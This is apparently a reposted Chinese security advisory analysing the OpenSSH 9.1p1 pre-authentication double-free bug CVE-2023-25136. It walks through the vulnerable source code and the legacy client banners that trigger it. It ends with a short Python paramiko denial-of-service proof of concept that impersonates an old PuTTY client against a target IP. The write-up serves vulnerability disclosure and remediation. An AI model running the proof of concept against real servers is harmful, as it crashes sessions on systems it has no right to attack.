点击下方卡片一键关注
OpenSSH 双重释放漏洞(CVE-2023-25136)
OpenSSH 新发布的 9.2p1 版本包含对双重释放漏洞的修复。
什么是OpenSSH?
OpenSSH是用于安全通信和远程访问的流行工具。它是作为安全外壳(SSH)通信协议的免费开源实现开发的,广泛用于各种应用程序。
OpenSSH通过一个不安全的网络在两个不受信任的主机之间提供一个安全和加密的连接,使它成为远程访问和安全文件传输的重要工具。
随着云计算和远程访问服务器的使用越来越多,OpenSSH已经成为需要安全访问和管理远程系统的系统管理员和开发人员的重要工具。
OpenSSH还支持广泛的平台,包括Linux、macOS和Windows,这使它成为跨不同操作系统广泛采用的工具。凭借其易用性和强大的安全特性,OpenSSH已经成为安全远程访问的行业标准工具。
漏洞背景
2023年2月2日,OpenSSH发布了9.2p1版,提供了这个安全建议。很明显,由于预授权双重释放漏洞,搜索OpenSSH的GitHub库,这是修复提交。
提交消息指示,这是指用户Mantas Mikulėnas.bz3522Bugzilla报告的问题
在其报告中,Mantas提到使用PuTTY过时版本,还附上了双释放中止的回溯。
漏洞回溯
为了更深入地研究,我们用易受攻击的OpenSSH 9.1p1设置了一个环境,并提取了8年前于2015年2月28日发布的旧PuTTY 0.64版本的副本。
在尝试使用PuTTY 0.64连接到易受攻击的OpenSSH服务器后,返回了以下错误:

因为新的OpenSSH版本不支持过时的客户端密钥交换算法,所以我们编辑了sshd_config文件,将以下行添加到: /etc/ssh/sshd_config
KexAlgorithms +diffie-hellman-group1-sha1
重新启动SSH服务器并重试后,返回了以下错误:

在向sshd_config添加另一个配置行之后,我们能够连接到易受攻击的OpenSSH服务器并重现崩溃:
HostKeyAlgorithms +ssh-rsa
在调试模式下运行服务器(使用标志),返回了以下调试消息: -ddd
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]
系统调用号20与报告相匹配:writev()Bugzilla
请注意,我们所做的配置更改只是为了通过PuTTY重现漏洞,并不需要利用它。正如我们将在概念证明中看到的,默认配置容易受到攻击。
漏洞的详细信息
我们从检查fix commit开始,它指出了造成双重释放的原因。当[1]上的连接兼容性选项为真时,第二个参数在[2]上被赋值给,后来在[3]上被释放
.compat_kex_proposal()SSH_OLD_DHGEXpcp
/* Always returns pointer to allocated memory, caller must free. */char *compat_kex_proposal(struct ssh *ssh, char *p){
char *cp = NULL;
if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"curve25519-sha256@libssh.org")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;}
The call to is inside the function:compat_kex_proposal()do_ssh2_kex()
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
options.kex_algorithms);
从引用参数中释放。cp=pcompat_kex_proposal()options.kex_algorithms在源代码中搜索,我们遇到了来自Bugzilla报告中的崩溃:kex_algorithmsassemble_algorithms
ASSEMBLE(kex_algorithms, def_kex, all_kex);
ASSEMBLE 是调用函数的宏:kex_assemble_names()
#define ASSEMBLE(what, defaults, all) \
do { \
if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
fatal_fr(r, "%s", #what); \
} while (0)
调用该函数时,将的地址作为其第一个参数(为)。这是第二个自由发生的地方。kex_assemble_names()o->kex_algorithmslistp
int
kex_assemble_names(char **listp, const char *def, const char *all)
由于句柄被释放并成为悬空指针,它再次被释放,导致双释放。
options.kex_algorithms
但是选项集在哪里呢?SSH_OLD_DHGEX
在函数内部,它从SSH协议标语中确定bug标志。一个名为的结构列出了所有的SSH客户机id及其标志。以下代码片段显示了分配了该选项的客户端id。我们还可以看到,WinSCP也可能会触发这种行为。
compat_banner()check[]SSH_OLD_DHGEX
{ "PuTTY_Local:*," /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
"PuTTY_Release_0.5*," /* 0.58-0.59 */
"PuTTY_Release_0.60*,"
"PuTTY_Release_0.61*,"
"PuTTY_Release_0.62*,"
"PuTTY_Release_0.63*,"
"PuTTY_Release_0.64*",
SSH_OLD_DHGEX },
{ "FuTTY*", SSH_OLD_DHGEX }, /* Putty Fork */
{ "WinSCP_release_4*,"
"WinSCP_release_5.0*,"
"WinSCP_release_5.1,"
"WinSCP_release_5.1.*,"
"WinSCP_release_5.5,"
"WinSCP_release_5.5.*,"
"WinSCP_release_5.6,"
"WinSCP_release_5.6.*,"
"WinSCP_release_5.7,"
"WinSCP_release_5.7.1,"
"WinSCP_release_5.7.2,"
"WinSCP_release_5.7.3,"
"WinSCP_release_5.7.4",
SSH_OLD_DHGEX },
概念验证
我们选择创建一个Python拒绝服务概念验证,因为它具有灵活性和可移植性。概念验证使用包触发双重释放并导致中止崩溃。paramiko
paramiko是一个广泛使用的Python SSH实现,提供了服务器和客户端功能。
对于概念验证,我们更改了连接客户端版本横幅,以反映过时的客户端,如。
PuTTY v0.64
可在我们的GitHub资源库中找到。
import paramiko
VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"
def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='', password='')
if __name__ == "__main__":
main()
漏洞影响
OpenSSH守护进程监听来自客户端的连接。它为每个传入的连接派生一个新的守护进程。分叉守护进程处理密钥交换、加密、身份验证、命令执行和数据交换。
正如我们的概念验证所证明的那样,该漏洞是一个双重漏洞,理论上可以被利用来进行拒绝服务攻击。请注意,只有分叉的守护进程会崩溃,因为在尝试调用时沙盒冲突,所以它会释放主服务器守护进程来处理新的clients.writev()
OpenSSH已经采取了一些安全措施,比如沙箱和权限分离机制。
虽然远程代码执行在理论上是可能的,但它需要深入研究以找到分配原语,即使这样,由于其安全措施,影响也不大。
此漏洞的严重性评级为中等,原因如下:
不需要任何先决条件。默认配置易受攻击。
使分叉工作进程崩溃的DoS攻击比使重要守护进程崩溃的DoS攻击严重得多,但它们都将获得“高”可用性影响CVSS评级。
OpenSSH已经采取了一些安全措施,比如沙箱和权限分离机制。
漏洞目标
该漏洞仅适用于默认配置的OpenSSH版本9.1p1,这意味着不需要任何先决条件。
补救措施
强烈建议将OpenSSH升级到最新版本9.2p1。
但是,需要再次注意的是,由于OpenSSH的安全措施(例如沙箱),该漏洞需要很高的复杂性来利用远程代码执行。
获取POC请关注公众号发送“2023-25136”
本文仅代表作者个人观念,不代表本公众号立场。本公众号转载此图文,仅出于传播更多资讯之目的。如有侵权或违规请及时联系我们,我们将立即予以删除!
如果我们的文章对你有帮助,就把我们“设为星标”吧!
↓↓↓
3秒加星标,这样就不容易错过文章推送啦!


往期回顾

请长按下方图片
识别二维码 关注河北镌远
为客户创造价值
与客户共同成长




